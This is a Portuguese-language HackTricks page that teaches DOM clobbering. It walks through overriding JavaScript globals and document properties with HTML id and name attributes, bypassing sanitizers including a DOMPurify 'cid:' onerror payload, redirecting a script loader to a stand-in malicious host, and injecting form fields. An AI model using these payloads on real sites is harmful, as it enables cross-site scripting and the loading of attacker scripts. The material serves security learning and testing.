13 KiB
Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basics
É possível gerar variáveis globais dentro do contexto JS com os atributos id
e name
em tags HTML.
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
Apenas certos elementos podem usar o atributo name para clobber globais, eles são: embed
, form
, iframe
, image
, img
e object
.
Curiosamente, quando você usa um elemento de formulário para clobber uma variável, você obterá o valor toString
do próprio elemento: [object HTMLFormElement]
, mas com âncora o toString
será o href
da âncora. Portanto, se você clobber usando a tag a
, você pode controlar o valor quando é tratado como uma string:
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
Arrays & Attributes
Também é possível substituir um array e atributos de objeto:
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
Para sobrescrever um 3º atributo (por exemplo, x.y.z), você precisa usar um form
:
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
Clobbering mais atributos é mais complicado, mas ainda possível, usando iframes:
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
{% hint style="warning" %} A tag de estilo é usada para dar tempo suficiente para o iframe renderizar. Sem ela, você encontrará um alerta de undefined. {% endhint %}
Para sobrescrever atributos mais profundos, você pode usar iframes com codificação html desta forma:
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
Contorno de Filtros
Se um filtro estiver percorrendo as propriedades de um nó usando algo como document.getElementByID('x').attributes
, você poderia clobber o atributo .attributes
e quebrar o filtro. Outras propriedades do DOM como tagName
, nodeName
ou parentNode
e mais também são clobberáveis.
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
Clobbering window.someObject
Em JavaScript, é comum encontrar:
var someObject = window.someObject || {};
Manipular HTML na página permite substituir someObject
por um nó DOM, potencialmente introduzindo vulnerabilidades de segurança. Por exemplo, você pode substituir someObject
por um elemento âncora apontando para um script malicioso:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Em um código vulnerável como:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
Este método explora a fonte do script para executar código indesejado.
Truque: DOMPurify
permite que você use o cid:
protocolo, que não codifica em URL aspas duplas. Isso significa que você pode injetar uma aspa dupla codificada que será decodificada em tempo de execução. Portanto, injetar algo como <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
fará com que a HTML codificada "
seja decodificada em tempo de execução e escape do valor do atributo para criar o evento onerror
.
Outra técnica usa um elemento form
. Certas bibliotecas do lado do cliente inspecionam os atributos de um novo elemento de formulário criado para limpá-los. No entanto, ao adicionar um input
com id=attributes
dentro do formulário, você efetivamente sobrescreve a propriedade de atributos, impedindo que o sanitizador acesse os atributos reais.
Você pode encontrar um exemplo desse tipo de clobbering neste writeup de CTF.
Clobbering do objeto documento
De acordo com a documentação, é possível sobrescrever atributos do objeto documento usando DOM Clobbering:
A interface Document suporta propriedades nomeadas. Os nomes de propriedades suportados de um objeto Document em qualquer momento consistem no seguinte, em ordem de árvore de acordo com o elemento que as contribuiu, ignorando duplicatas posteriores, e com valores de atributos id vindo antes de valores de atributos de nome quando o mesmo elemento contribui com ambos:
- O valor do atributo de conteúdo name para todos os elementos expostos embed, form, iframe, img e expostos object que têm um atributo de conteúdo name não vazio e estão em uma árvore de documento com documento como seu raiz;
- O valor do atributo de conteúdo id para todos os elementos expostos object que têm um atributo de conteúdo id não vazio e estão em uma árvore de documento com documento como seu raiz;
- O valor do atributo de conteúdo id para todos os elementos img que têm tanto um atributo de conteúdo id não vazio quanto um atributo de conteúdo name não vazio, e estão em uma árvore de documento com documento como seu raiz.
Usando essa técnica, você pode sobrescrever valores comumente usados, como document.cookie
, document.body
, document.children
, e até mesmo métodos na interface Document como document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Escrevendo após o elemento clobrado
Os resultados das chamadas para document.getElementById()
e document.querySelector()
podem ser alterados ao injetar uma tag <html>
ou <body>
com um atributo id idêntico. Veja como isso pode ser feito:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
Além disso, ao empregar estilos para ocultar essas tags HTML/body injetadas, a interferência de outro texto no innerText
pode ser evitada, assim aumentando a eficácia do ataque:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Investigações sobre SVG revelaram que uma tag <body>
também pode ser utilizada de forma eficaz:
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Para que a tag HTML funcione dentro do SVG em navegadores como Chrome e Firefox, uma tag <foreignobject>
é necessária:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
Clobbering Forms
É possível adicionar novas entradas dentro de um formulário apenas especificando o atributo form
dentro de algumas tags. Você pode usar isso para adicionar novos valores dentro de um formulário e até mesmo adicionar um botão para enviá-lo (clickjacking ou abusando de algum código JS .click()
):
{% code overflow="wrap" %}
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
{% endcode %}
- Para mais atributos de formulário em botão confira isso.
Referências
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.